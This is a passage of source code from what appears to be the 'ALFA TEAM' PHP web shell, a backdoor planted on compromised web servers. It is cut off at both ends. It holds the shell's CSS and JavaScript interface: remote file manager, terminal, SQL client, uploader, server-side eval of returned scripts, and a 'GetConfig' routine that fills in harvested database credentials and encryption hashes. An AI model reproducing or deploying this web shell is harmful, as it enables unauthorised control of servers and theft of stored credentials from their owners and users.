#0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php echo '
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{'.$csscode.'width:100px;height:100px;}
#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";";?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var 